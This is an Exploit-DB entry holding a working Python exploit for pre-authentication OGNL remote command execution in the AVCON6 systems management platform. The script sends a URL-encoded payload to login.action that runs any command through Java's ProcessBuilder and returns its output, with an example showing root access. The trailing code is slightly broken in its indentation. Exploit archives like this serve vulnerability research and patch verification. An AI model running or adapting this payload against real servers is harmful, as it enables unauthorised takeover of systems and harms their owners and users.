AVCON6 systems management platform - OGNL Remote Command Execution

EDB-ID:
47379

CVE:
N/A

EDB Verified: ×

Author:
NASSIM ASRIR

Type:
WEBAPPS

Exploit: / {}

Platform:
JAVA

Date:
2019-09-11

Vulnerable App:

```
# Exploit Title: AVCON6 systems management platform - OGNL - Remote root
command execution
# Date: 10/09/2018
# Exploit Author: Nassim Asrir
# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-
b73a57122/
# CVE: N\A
# Tested On: Windows 10(64bit) / 61.0b12 (64-bit)
# Thanks to: Otmane Aarab
# Example below:
# python ./rce.py http://server:8080/ id
# Testing Target: http://server:8080/
# uid=0(root) gid=0(root)
# Vendor: http://www.epross.com/
# About the product: The AVCON6 video conferencing system is the most
complete set of systems, including multi-screen multi-split screens and
systems that are integrated with H323/SIP protocol devices. High-end video
conferencing
# software ideal for Room Base environments and performance requirements.
Multi-party video conferencing can connect thousands of people at the same
time.
# I am not responsible for any wrong use.
##############################################################################

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload =  'login.action?redirect:'
    payload +=
'${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]
{%22'+cmd+'%22})).'
    payload += 'start(),%23b%3d%23a.getInputStream(),'
    payload += '%23c%3dnew%20java.io.InputStreamReader(%23b),'
    payload +=
'%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d'
    payload += '.read(%23e),%23matt%3d%23context.'
    payload +=
'get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),'
    payload += '%23matt.getWriter().println(%23e),%23matt.'
    payload += 'getWriter().flush(),%23matt.getWriter()'
    payload +=  '.close()}'


    try:
        headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:45.0) Gecko/20100101 Firefox/45.0'}
        request = urllib2.Request(url+payload, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py http://target/ id")
    else:
        print('[*] Avcon6-Preauh-Remote Command Execution')
        url = sys.argv[1]
```

```
        cmd = sys.argv[2]
        print("[*] Executed Command: %s\n" % cmd)
    print("[*] Target: %s\n" % url)
        exploit(url, cmd)
```

Tags:

Advisory/Source: Link

Databases

Links

Sites

Solutions